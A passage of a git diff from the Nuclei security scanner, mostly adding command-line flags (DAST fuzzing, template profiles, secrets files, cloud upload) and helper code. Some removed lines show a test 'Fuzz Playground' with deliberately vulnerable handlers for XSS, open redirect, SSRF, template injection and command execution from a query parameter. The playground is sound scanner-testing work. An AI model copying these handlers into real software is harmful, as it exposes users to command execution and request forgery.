flagSet.BoolVarP(&options.EnableGlobalMatchersTemplates, "enable-global-matchers", "egm", false, "enable loading global matchers templates"),
|
||||
flagSet.BoolVar(&options.EnableFileTemplates, "file", false, "enable loading file templates"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("filters", "Filtering",
|
||||
@@ -203,8 +275,8 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.StringSliceVarP(&options.IncludeTags, "include-tags", "itags", nil, "tags to be executed even if they are excluded either by default or configuration", goflags.FileNormalizedStringSliceOptions), // TODO show default deny list
|
||||
flagSet.StringSliceVarP(&options.IncludeIds, "template-id", "id", nil, "templates to run based on template ids (comma-separated, file, allow-wildcard)", goflags.FileNormalizedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.ExcludeIds, "exclude-id", "eid", nil, "templates to exclude based on template ids (comma-separated, file)", goflags.FileNormalizedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.IncludeTemplates, "include-templates", "it", nil, "templates to be executed even if they are excluded either by default or configuration", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.ExcludedTemplates, "exclude-templates", "et", nil, "template or template directory to exclude (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.IncludeTemplates, "include-templates", "it", nil, "path to template file or directory to be executed even if they are excluded either by default or configuration", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.ExcludedTemplates, "exclude-templates", "et", nil, "path to template file or directory to exclude (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.ExcludeMatchers, "exclude-matchers", "em", nil, "template matchers to exclude in result", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.VarP(&options.Severities, "severity", "s", fmt.Sprintf("templates to run based on severity. Possible values: %s", severity.GetSupportedSeverities().String())),
|
||||
flagSet.VarP(&options.ExcludeSeverities, "exclude-severity", "es", fmt.Sprintf("templates to exclude based on severity. Possible values: %s", severity.GetSupportedSeverities().String())),
|
||||
@@ -222,6 +294,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.JSONL, "jsonl", "j", false, "write output in JSONL(ines) format"),
|
||||
flagSet.BoolVarP(&options.JSONRequests, "include-rr", "irr", true, "include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use `-omit-raw`]"),
|
||||
flagSet.BoolVarP(&options.OmitRawRequests, "omit-raw", "or", false, "omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)"),
|
||||
flagSet.BoolVarP(&options.OmitTemplate, "omit-template", "ot", false, "omit encoded template in the JSON, JSONL output"),
|
||||
flagSet.BoolVarP(&options.NoMeta, "no-meta", "nm", false, "disable printing result metadata in cli output"),
|
||||
flagSet.BoolVarP(&options.Timestamp, "timestamp", "ts", false, "enables printing timestamp in cli output"),
|
||||
flagSet.StringVarP(&options.ReportingDB, "report-db", "rdb", "", "nuclei reporting database (always use this to persist report data)"),
|
||||
@@ -230,10 +303,13 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"),
|
||||
flagSet.StringVarP(&options.JSONExport, "json-export", "je", "", "file to export results in JSON format"),
|
||||
flagSet.StringVarP(&options.JSONLExport, "jsonl-export", "jle", "", "file to export results in JSONL(ine) format"),
|
||||
flagSet.StringSliceVarP(&options.Redact, "redact", "rd", nil, "redact given list of keys from query parameter, request header and body", goflags.CommaSeparatedStringSliceOptions),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("configs", "Configurations",
|
||||
flagSet.StringVar(&cfgFile, "config", "", "path to the nuclei configuration file"),
|
||||
flagSet.StringVarP(&templateProfile, "profile", "tp", "", "template profile config file to run"),
|
||||
flagSet.BoolVarP(&options.ListTemplateProfiles, "profile-list", "tpl", false, "list community template profiles"),
|
||||
flagSet.BoolVarP(&options.FollowRedirects, "follow-redirects", "fr", false, "enable following redirects for http templates"),
|
||||
flagSet.BoolVarP(&options.FollowHostRedirects, "follow-host-redirects", "fhr", false, "follow redirects on the same host"),
|
||||
flagSet.IntVarP(&options.MaxRedirects, "max-redirects", "mr", 10, "max number of redirects to follow for http templates"),
|
||||
@@ -253,15 +329,17 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.ShowMatchLine, "show-match-line", "sml", false, "show match lines for file templates, works with extractors only"),
|
||||
flagSet.BoolVar(&options.ZTLS, "ztls", false, "use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default"), //nolint:all
|
||||
flagSet.StringVar(&options.SNI, "sni", "", "tls sni hostname to use (default: input domain name)"),
|
||||
flagSet.DurationVarP(&options.DialerKeepAlive, "dialer-keep-alive", "dka", 0, "keep-alive duration for network requests."),
|
||||
flagSet.BoolVarP(&options.AllowLocalFileAccess, "allow-local-file-access", "lfa", false, "allows file (payload) access anywhere on the system"),
|
||||
flagSet.BoolVarP(&options.RestrictLocalNetworkAccess, "restrict-local-network-access", "lna", false, "blocks connections to the local / private network"),
|
||||
flagSet.StringVarP(&options.Interface, "interface", "i", "", "network interface to use for network scan"),
|
||||
flagSet.StringVarP(&options.AttackType, "attack-type", "at", "", "type of payload combinations to perform (batteringram,pitchfork,clusterbomb)"),
|
||||
flagSet.StringVarP(&options.SourceIP, "source-ip", "sip", "", "source ip address to use for network scan"),
|
||||
flagSet.IntVarP(&options.ResponseReadSize, "response-size-read", "rsr", 10*1024*1024, "max response size to read in bytes"),
|
||||
flagSet.IntVarP(&options.ResponseSaveSize, "response-size-save", "rss", 1*1024*1024, "max response size to read in bytes"),
|
||||
flagSet.IntVarP(&options.ResponseReadSize, "response-size-read", "rsr", 0, "max response size to read in bytes"),
|
||||
flagSet.IntVarP(&options.ResponseSaveSize, "response-size-save", "rss", unitutils.Mega, "max response size to read in bytes"),
|
||||
flagSet.CallbackVar(resetCallback, "reset", "reset removes all nuclei configuration and data files (including nuclei-templates)"),
|
||||
flagSet.BoolVarP(&options.TlsImpersonate, "tls-impersonate", "tlsi", false, "enable experimental client hello (ja3) tls randomization"),
|
||||
flagSet.StringVarP(&options.HttpApiEndpoint, "http-api-endpoint", "hae", "", "experimental http api endpoint"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("interactsh", "interactsh",
|
||||
@@ -277,6 +355,11 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.CreateGroup("fuzzing", "Fuzzing",
|
||||
flagSet.StringVarP(&options.FuzzingType, "fuzzing-type", "ft", "", "overrides fuzzing type set in template (replace, prefix, postfix, infix)"),
|
||||
flagSet.StringVarP(&options.FuzzingMode, "fuzzing-mode", "fm", "", "overrides fuzzing mode set in template (multiple, single)"),
|
||||
flagSet.BoolVar(&fuzzFlag, "fuzz", false, "enable loading fuzzing templates (Deprecated: use -dast instead)"),
|
||||
flagSet.BoolVar(&options.DAST, "dast", false, "enable / run dast (fuzz) nuclei templates"),
|
||||
flagSet.BoolVarP(&options.DisplayFuzzPoints, "display-fuzz-points", "dfp", false, "display fuzz points in the output for debugging"),
|
||||
flagSet.IntVar(&options.FuzzParamFrequency, "fuzz-param-frequency", 10, "frequency of uninteresting parameters for fuzzing before skipping"),
|
||||
flagSet.StringVarP(&options.FuzzAggressionLevel, "fuzz-aggression", "fa", "low", "fuzzing aggression level controls payload count for fuzz (low, medium, high)"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("uncover", "Uncover",
|
||||
@@ -290,11 +373,15 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
|
||||
flagSet.CreateGroup("rate-limit", "Rate-Limit",
|
||||
flagSet.IntVarP(&options.RateLimit, "rate-limit", "rl", 150, "maximum number of requests to send per second"),
|
||||
flagSet.IntVarP(&options.RateLimitMinute, "rate-limit-minute", "rlm", 0, "maximum number of requests to send per minute"),
|
||||
flagSet.DurationVarP(&options.RateLimitDuration, "rate-limit-duration", "rld", time.Second, "maximum number of requests to send per second"),
|
||||
flagSet.IntVarP(&options.RateLimitMinute, "rate-limit-minute", "rlm", 0, "maximum number of requests to send per minute (DEPRECATED)"),
|
||||
flagSet.IntVarP(&options.BulkSize, "bulk-size", "bs", 25, "maximum number of hosts to be analyzed in parallel per template"),
|
||||
flagSet.IntVarP(&options.TemplateThreads, "concurrency", "c", 25, "maximum number of templates to be executed in parallel"),
|
||||
flagSet.IntVarP(&options.HeadlessBulkSize, "headless-bulk-size", "hbs", 10, "maximum number of headless hosts to be analyzed in parallel per template"),
|
||||
flagSet.IntVarP(&options.HeadlessTemplateThreads, "headless-concurrency", "headc", 10, "maximum number of headless templates to be executed in parallel"),
|
||||
flagSet.IntVarP(&options.JsConcurrency, "js-concurrency", "jsc", 120, "maximum number of javascript runtimes to be executed in parallel"),
|
||||
flagSet.IntVarP(&options.PayloadConcurrency, "payload-concurrency", "pc", 25, "max payload concurrency for each template"),
|
||||
flagSet.IntVarP(&options.ProbeConcurrency, "probe-concurrency", "prc", 50, "http probe concurrency with httpx"),
|
||||
)
|
||||
flagSet.CreateGroup("optimization", "Optimizations",
|
||||
flagSet.IntVar(&options.Timeout, "timeout", 10, "time to wait in seconds before timeout"),
|
||||
@@ -338,9 +425,10 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.CallbackVar(printVersion, "version", "show nuclei version"),
|
||||
flagSet.BoolVarP(&options.HangMonitor, "hang-monitor", "hm", false, "enable nuclei hang monitoring"),
|
||||
flagSet.BoolVarP(&options.Verbose, "verbose", "v", false, "show verbose output"),
|
||||
flagSet.StringVar(&memProfile, "profile-mem", "", "optional nuclei memory profile dump file"),
|
||||
flagSet.StringVar(&memProfile, "profile-mem", "", "generate memory (heap) profile & trace files"),
|
||||
flagSet.BoolVar(&options.VerboseVerbose, "vv", false, "display templates loaded for scan"),
|
||||
flagSet.BoolVarP(&options.ShowVarDump, "show-var-dump", "svd", false, "show variables dump for debugging"),
|
||||
flagSet.IntVarP(&options.VarDumpLimit, "var-dump-limit", "vdl", 255, "limit the number of characters displayed in var dump"),
|
||||
flagSet.BoolVarP(&options.EnablePprof, "enable-pprof", "ep", false, "enable pprof debugging server"),
|
||||
flagSet.CallbackVarP(printTemplateVersion, "templates-version", "tv", "shows the version of the installed nuclei-templates"),
|
||||
flagSet.BoolVarP(&options.HealthCheck, "health-check", "hc", false, "run diagnostic check up"),
|
||||
@@ -361,27 +449,18 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("cloud", "Cloud",
|
||||
flagSet.BoolVar(&options.Cloud, "cloud", false, "run scan on nuclei cloud"),
|
||||
flagSet.StringVarP(&options.AddDatasource, "add-datasource", "ads", "", "add specified data source (s3,github)"),
|
||||
flagSet.StringVarP(&options.AddTarget, "add-target", "atr", "", "add target(s) to cloud"),
|
||||
flagSet.StringVarP(&options.AddTemplate, "add-template", "atm", "", "add template(s) to cloud"),
|
||||
flagSet.BoolVarP(&options.ScanList, "list-scan", "lsn", false, "list previous cloud scans"),
|
||||
flagSet.StringVarP(&options.ScanOutput, "list-output", "lso", "", "list scan output by scan id"),
|
||||
flagSet.BoolVarP(&options.ListTargets, "list-target", "ltr", false, "list cloud target by id"),
|
||||
flagSet.BoolVarP(&options.ListTemplates, "list-template", "ltm", false, "list cloud template by id"),
|
||||
flagSet.BoolVarP(&options.ListDatasources, "list-datasource", "lds", false, "list cloud datasource by id"),
|
||||
flagSet.BoolVarP(&options.ListReportingSources, "list-reportsource", "lrs", false, "list reporting sources"),
|
||||
flagSet.StringVarP(&options.DeleteScan, "delete-scan", "dsn", "", "delete cloud scan by id"),
|
||||
flagSet.StringVarP(&options.RemoveTarget, "delete-target", "dtr", "", "delete target(s) from cloud"),
|
||||
flagSet.StringVarP(&options.RemoveTemplate, "delete-template", "dtm", "", "delete template(s) from cloud"),
|
||||
flagSet.StringVarP(&options.RemoveDatasource, "delete-datasource", "dds", "", "delete specified data source"),
|
||||
flagSet.StringVarP(&options.DisableReportingSource, "disable-reportsource", "drs", "", "disable specified reporting source"),
|
||||
flagSet.StringVarP(&options.EnableReportingSource, "enable-reportsource", "ers", "", "enable specified reporting source"),
|
||||
flagSet.StringVarP(&options.GetTarget, "get-target", "gtr", "", "get target content by id"),
|
||||
flagSet.StringVarP(&options.GetTemplate, "get-template", "gtm", "", "get template content by id"),
|
||||
flagSet.BoolVarP(&options.NoStore, "no-store", "nos", false, "disable scan/output storage on cloud"),
|
||||
flagSet.BoolVar(&options.NoTables, "no-tables", false, "do not display pretty-printed tables"),
|
||||
flagSet.IntVar(&options.OutputLimit, "limit", 100, "limit the number of output to display"),
|
||||
flagSet.DynamicVar(&pdcpauth, "auth", "true", "configure projectdiscovery cloud (pdcp) api key"),
|
||||
flagSet.StringVarP(&options.TeamID, "team-id", "tid", _pdcp.TeamIDEnv, "upload scan results to given team id (optional)"),
|
||||
flagSet.BoolVarP(&options.EnableCloudUpload, "cloud-upload", "cup", false, "upload scan results to pdcp dashboard [DEPRECATED use -dashboard]"),
|
||||
flagSet.StringVarP(&options.ScanID, "scan-id", "sid", "", "upload scan results to existing scan id (optional)"),
|
||||
flagSet.StringVarP(&options.ScanName, "scan-name", "sname", "", "scan name to set (optional)"),
|
||||
flagSet.BoolVarP(&options.EnableCloudUpload, "dashboard", "pd", false, "upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard"),
|
||||
flagSet.StringVarP(&options.ScanUploadFile, "dashboard-upload", "pdu", "", "upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("Authentication", "Authentication",
|
||||
flagSet.StringSliceVarP(&options.SecretsFile, "secret-file", "sf", nil, "path to config file containing secrets for nuclei authenticated scan", goflags.CommaSeparatedStringSliceOptions),
|
||||
flagSet.BoolVarP(&options.PreFetchSecrets, "prefetch-secrets", "ps", false, "prefetch secrets from the secrets file"),
|
||||
)
|
||||
|
||||
flagSet.SetCustomHelpText(`EXAMPLES:
|
||||
@@ -410,6 +489,30 @@ Additional documentation is available at: https://docs.nuclei.sh/getting-started
|
||||
goflags.DisableAutoConfigMigration = true
|
||||
_ = flagSet.Parse()
|
||||
|
||||
// when fuzz flag is enabled, set the dast flag to true
|
||||
if fuzzFlag {
|
||||
// backwards compatibility for fuzz flag
|
||||
options.DAST = true
|
||||
}
|
||||
|
||||
// All cloud-based templates depend on both code and self-contained templates.
|
||||
if options.EnableCodeTemplates {
|
||||
options.EnableSelfContainedTemplates = true
|
||||
}
|
||||
|
||||
// api key hierarchy: cli flag > env var > .pdcp/credential file
|
||||
if pdcpauth == "true" {
|
||||
runner.AuthWithPDCP()
|
||||
} else if len(pdcpauth) == 36 {
|
||||
ph := pdcp.PDCPCredHandler{}
|
||||
if _, err := ph.GetCreds(); err == pdcp.ErrNoCreds {
|
||||
apiServer := env.GetEnvOrDefault("PDCP_API_SERVER", pdcp.DefaultApiServer)
|
||||
if validatedCreds, err := ph.ValidateAPIKey(pdcpauth, apiServer, config.BinaryName); err == nil {
|
||||
_ = ph.SaveCreds(validatedCreds)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
gologger.DefaultLogger.SetTimestamp(options.Timestamp, levels.LevelDebug)
|
||||
|
||||
if options.VerboseVerbose {
|
||||
@@ -445,6 +548,42 @@ Additional documentation is available at: https://docs.nuclei.sh/getting-started
|
||||
config.DefaultConfig.SetTemplatesDir(options.NewTemplatesDirectory)
|
||||
}
|
||||
|
||||
defaultProfilesPath := filepath.Join(config.DefaultConfig.GetTemplateDir(), "profiles")
|
||||
if templateProfile != "" {
|
||||
if filepath.Ext(templateProfile) == "" {
|
||||
if tp := findProfilePathById(templateProfile, defaultProfilesPath); tp != "" {
|
||||
templateProfile = tp
|
||||
} else {
|
||||
gologger.Fatal().Msgf("'%s' is not a profile-id or profile path", templateProfile)
|
||||
}
|
||||
}
|
||||
if !filepath.IsAbs(templateProfile) {
|
||||
if filepath.Dir(templateProfile) == "profiles" {
|
||||
defaultProfilesPath = filepath.Join(config.DefaultConfig.GetTemplateDir())
|
||||
}
|
||||
currentDir, err := os.Getwd()
|
||||
if err == nil && fileutil.FileExists(filepath.Join(currentDir, templateProfile)) {
|
||||
templateProfile = filepath.Join(currentDir, templateProfile)
|
||||
} else {
|
||||
templateProfile = filepath.Join(defaultProfilesPath, templateProfile)
|
||||
}
|
||||
}
|
||||
if !fileutil.FileExists(templateProfile) {
|
||||
gologger.Fatal().Msgf("given template profile file '%s' does not exist", templateProfile)
|
||||
}
|
||||
if err := flagSet.MergeConfigFile(templateProfile); err != nil {
|
||||
gologger.Fatal().Msgf("Could not read template profile: %s\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
if len(options.SecretsFile) > 0 {
|
||||
for _, secretFile := range options.SecretsFile {
|
||||
if !fileutil.FileExists(secretFile) {
|
||||
gologger.Fatal().Msgf("given secrets file '%s' does not exist", options.SecretsFile)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cleanupOldResumeFiles()
|
||||
return flagSet
|
||||
}
|
||||
@@ -498,6 +637,7 @@ func printVersion() {
|
||||
gologger.Info().Msgf("Nuclei Engine Version: %s", config.Version)
|
||||
gologger.Info().Msgf("Nuclei Config Directory: %s", config.DefaultConfig.GetConfigDir())
|
||||
gologger.Info().Msgf("Nuclei Cache Directory: %s", config.DefaultConfig.GetCacheDir()) // cache dir contains resume files
|
||||
gologger.Info().Msgf("PDCP Directory: %s", pdcp.PDCPDir)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
@@ -541,10 +681,10 @@ Note: Make sure you have backup of your custom nuclei-templates before proceedin
|
||||
gologger.Fatal().Msgf("could not read response: %s", err)
|
||||
}
|
||||
resp = strings.TrimSpace(resp)
|
||||
if strings.EqualFold(resp, "y") || strings.EqualFold(resp, "yes") {
|
||||
if stringsutil.EqualFoldAny(resp, "y", "yes") {
|
||||
break
|
||||
}
|
||||
if strings.EqualFold(resp, "n") || strings.EqualFold(resp, "no") || resp == "" {
|
||||
if stringsutil.EqualFoldAny(resp, "n", "no", "") {
|
||||
fmt.Println("Exiting...")
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -561,6 +701,27 @@ Note: Make sure you have backup of your custom nuclei-templates before proceedin
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func findProfilePathById(profileId, templatesDir string) string {
|
||||
var profilePath string
|
||||
err := filepath.WalkDir(templatesDir, func(iterItem string, d fs.DirEntry, err error) error {
|
||||
ext := filepath.Ext(iterItem)
|
||||
isYaml := ext == extensions.YAML || ext == extensions.YML
|
||||
if err != nil || d.IsDir() || !isYaml {
|
||||
// skip non yaml files
|
||||
return nil
|
||||
}
|
||||
if strings.TrimSuffix(filepath.Base(iterItem), ext) == profileId {
|
||||
profilePath = iterItem
|
||||
return fmt.Errorf("FOUND")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil && err.Error() != "FOUND" {
|
||||
gologger.Error().Msgf("%s\n", err)
|
||||
}
|
||||
return profilePath
|
||||
}
|
||||
|
||||
func init() {
|
||||
// print stacktrace of errors in debug mode
|
||||
if strings.EqualFold(os.Getenv("DEBUG"), "true") {
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
id: basic-dns-a-example
|
||||
|
||||
info:
|
||||
name: Test DNS A Query Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: SRV
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
part: all
|
||||
words:
|
||||
- "SRV"
|
||||
@@ -0,0 +1,40 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/scan/charts"
|
||||
)
|
||||
|
||||
var (
|
||||
dir string
|
||||
address string
|
||||
output string
|
||||
)
|
||||
|
||||
func main() {
|
||||
flag.StringVar(&dir, "dir", "", "directory to scan")
|
||||
flag.StringVar(&address, "address", ":9000", "address to run the server on")
|
||||
flag.StringVar(&output, "output", "", "output filename of generated html file")
|
||||
flag.Parse()
|
||||
|
||||
if dir == "" {
|
||||
flag.Usage()
|
||||
return
|
||||
}
|
||||
|
||||
server, err := charts.NewScanEventsCharts(dir)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
server.PrintInfo()
|
||||
|
||||
if output != "" {
|
||||
if err = server.GenerateHTML(output); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
server.Start(address)
|
||||
}
|
||||
@@ -68,6 +68,8 @@ func init() {
|
||||
defaultOpts := types.DefaultOptions()
|
||||
// need to set headless to true for headless templates
|
||||
defaultOpts.Headless = true
|
||||
defaultOpts.EnableCodeTemplates = true
|
||||
defaultOpts.EnableSelfContainedTemplates = true
|
||||
if err := protocolstate.Init(defaultOpts); err != nil {
|
||||
gologger.Fatal().Msgf("Could not initialize protocol state: %s\n", err)
|
||||
}
|
||||
@@ -161,7 +163,7 @@ func process(opts options) error {
|
||||
var updated bool // if max-requests is updated
|
||||
dataString, updated, err = parseAndAddMaxRequests(templateCatalog, path, dataString)
|
||||
if err != nil {
|
||||
gologger.Info().Label("max-request").Msgf(logErrMsg(path, err, opts.debug, errFile))
|
||||
gologger.Info().Label("max-request").Msg(logErrMsg(path, err, opts.debug, errFile))
|
||||
} else {
|
||||
if updated {
|
||||
gologger.Info().Label("max-request").Msgf("✅ updated template: %s\n", path)
|
||||
@@ -230,7 +232,7 @@ func logErrMsg(path string, err error, debug bool, errFile *os.File) string {
|
||||
return msg
|
||||
}
|
||||
|
||||
// enhanceTemplateData enhances template data using templateman
|
||||
// enhanceTemplate enhances template data using templateman
|
||||
// ref: https://github.com/projectdiscovery/templateman/blob/main/templateman-rest-api/README.md#enhance-api
|
||||
func enhanceTemplate(data string) (string, bool, error) {
|
||||
resp, err := retryablehttp.DefaultClient().Post(fmt.Sprintf("%s/enhance", tmBaseUrl), "application/x-yaml", strings.NewReader(data))
|
||||
@@ -254,7 +256,7 @@ func enhanceTemplate(data string) (string, bool, error) {
|
||||
return data, false, errorutil.New("validation failed").WithTag("validate")
|
||||
}
|
||||
if templateResp.Error.Name != "" {
|
||||
return data, false, errorutil.New(templateResp.Error.Name)
|
||||
return data, false, errorutil.New("%s", templateResp.Error.Name)
|
||||
}
|
||||
if strings.TrimSpace(templateResp.Enhanced) == "" && !templateResp.Lint {
|
||||
if templateResp.LintError.Reason != "" {
|
||||
@@ -265,7 +267,7 @@ func enhanceTemplate(data string) (string, bool, error) {
|
||||
return data, false, errorutil.New("template enhance failed")
|
||||
}
|
||||
|
||||
// formatTemplateData formats template data using templateman format api
|
||||
// formatTemplate formats template data using templateman format api
|
||||
func formatTemplate(data string) (string, bool, error) {
|
||||
resp, err := retryablehttp.DefaultClient().Post(fmt.Sprintf("%s/format", tmBaseUrl), "application/x-yaml", strings.NewReader(data))
|
||||
if err != nil {
|
||||
@@ -288,7 +290,7 @@ func formatTemplate(data string) (string, bool, error) {
|
||||
return data, false, errorutil.New("validation failed").WithTag("validate")
|
||||
}
|
||||
if templateResp.Error.Name != "" {
|
||||
return data, false, errorutil.New(templateResp.Error.Name)
|
||||
return data, false, errorutil.New("%s", templateResp.Error.Name)
|
||||
}
|
||||
if strings.TrimSpace(templateResp.Updated) == "" && !templateResp.Lint {
|
||||
if templateResp.LintError.Reason != "" {
|
||||
@@ -299,7 +301,7 @@ func formatTemplate(data string) (string, bool, error) {
|
||||
return data, false, errorutil.New("template format failed")
|
||||
}
|
||||
|
||||
// lintTemplateData lints template data using templateman lint api
|
||||
// lintTemplate lints template data using templateman lint api
|
||||
func lintTemplate(data string) (bool, error) {
|
||||
resp, err := retryablehttp.DefaultClient().Post(fmt.Sprintf("%s/lint", tmBaseUrl), "application/x-yaml", strings.NewReader(data))
|
||||
if err != nil {
|
||||
@@ -344,7 +346,7 @@ func validateTemplate(data string) (bool, error) {
|
||||
return false, errorutil.New("validation failed").WithTag("validate")
|
||||
}
|
||||
if validateResp.Error.Name != "" {
|
||||
return false, errorutil.New(validateResp.Error.Name)
|
||||
return false, errorutil.New("%s", validateResp.Error.Name)
|
||||
}
|
||||
return false, errorutil.New("template validation failed")
|
||||
}
|
||||
|
||||
@@ -1,94 +1,27 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
"flag"
|
||||
|
||||
"github.com/labstack/echo/v4"
|
||||
"github.com/labstack/echo/v4/middleware"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground"
|
||||
)
|
||||
|
||||
var (
|
||||
addr string
|
||||
)
|
||||
|
||||
func main() {
|
||||
e := echo.New()
|
||||
e.Use(middleware.Recover())
|
||||
e.Use(middleware.Logger())
|
||||
flag.StringVar(&addr, "addr", "localhost:8082", "playground server address")
|
||||
flag.Parse()
|
||||
|
||||
e.GET("/", indexHandler)
|
||||
e.GET("/info", infoHandler)
|
||||
e.GET("/redirect", redirectHandler)
|
||||
e.GET("/request", requestHandler)
|
||||
e.GET("/email", emailHandler)
|
||||
e.GET("/permissions", permissionsHandler)
|
||||
if err := e.Start("localhost:8082"); err != nil {
|
||||
panic(err)
|
||||
defer fuzzplayground.Cleanup()
|
||||
server := fuzzplayground.GetPlaygroundServer()
|
||||
defer server.Close()
|
||||
|
||||
// Start the server
|
||||
if err := server.Start(addr); err != nil {
|
||||
gologger.Fatal().Msgf("Could not start server: %s\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
var bodyTemplate = `<html>
|
||||
<head>
|
||||
<title>Fuzz Playground</title>
|
||||
</head>
|
||||
<body>
|
||||
%s
|
||||
</body>
|
||||
</html>`
|
||||
|
||||
func indexHandler(ctx echo.Context) error {
|
||||
return ctx.HTML(200, fmt.Sprintf(bodyTemplate, `<h1>Fuzzing Playground</h1><hr>
|
||||
<ul>
|
||||
<li><a href="/info?name=test&another=value&random=data">Info Page XSS</a></li>
|
||||
<li><a href="/redirect?redirect_url=/info?name=redirected_from_url">Redirect Page OpenRedirect</a></li>
|
||||
<li><a href="/request?url=https://example.com">Request Page SSRF</a></li>
|
||||
<li><a href="/email?text=important_user">Email Page SSTI</a></li>
|
||||
<li><a href="/permissions?cmd=whoami">Permissions Page CMDI</a></li>
|
||||
</ul>
|
||||
`))
|
||||
}
|
||||
|
||||
func infoHandler(ctx echo.Context) error {
|
||||
return ctx.HTML(200, fmt.Sprintf(bodyTemplate, fmt.Sprintf("Name of user: %s%s%s", ctx.QueryParam("name"), ctx.QueryParam("another"), ctx.QueryParam("random"))))
|
||||
}
|
||||
|
||||
func redirectHandler(ctx echo.Context) error {
|
||||
url := ctx.QueryParam("redirect_url")
|
||||
return ctx.Redirect(302, url)
|
||||
}
|
||||
|
||||
func requestHandler(ctx echo.Context) error {
|
||||
url := ctx.QueryParam("url")
|
||||
data, err := retryablehttp.DefaultClient().Get(url)
|
||||
if err != nil {
|
||||
return ctx.HTML(500, err.Error())
|
||||
}
|
||||
defer data.Body.Close()
|
||||
|
||||
body, _ := io.ReadAll(data.Body)
|
||||
return ctx.HTML(200, fmt.Sprintf(bodyTemplate, string(body)))
|
||||
}
|
||||
|
||||
func emailHandler(ctx echo.Context) error {
|
||||
text := ctx.QueryParam("text")
|
||||
if strings.Contains(text, "{{") {
|
||||
trimmed := strings.SplitN(strings.Trim(text[strings.Index(text, "{"):], "{}"), "*", 2)
|
||||
if len(trimmed) < 2 {
|
||||
return ctx.HTML(500, "invalid template")
|
||||
}
|
||||
first, _ := strconv.Atoi(trimmed[0])
|
||||
second, _ := strconv.Atoi(trimmed[1])
|
||||
text = strconv.Itoa(first * second)
|
||||
}
|
||||
return ctx.HTML(200, fmt.Sprintf(bodyTemplate, fmt.Sprintf("Text: %s", text)))
|
||||
}
|
||||
|
||||
func permissionsHandler(ctx echo.Context) error {
|
||||
command := ctx.QueryParam("cmd")
|
||||
fields := strings.Fields(command)
|
||||
cmd := exec.Command(fields[0], fields[1:]...)
|
||||
data, _ := cmd.CombinedOutput()
|
||||
|
||||
return ctx.HTML(200, fmt.Sprintf(bodyTemplate, string(data)))
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/gologger/levels"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates/signer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
fileutil "github.com/projectdiscovery/utils/file"
|
||||
folderutil "github.com/projectdiscovery/utils/folder"
|
||||
)
|
||||
|
||||
var (
|
||||
appConfigDir = folderutil.AppConfigDirOrDefault(".config", "nuclei")
|
||||
defaultCertFile = filepath.Join(appConfigDir, "keys", "nuclei-user.crt")
|
||||
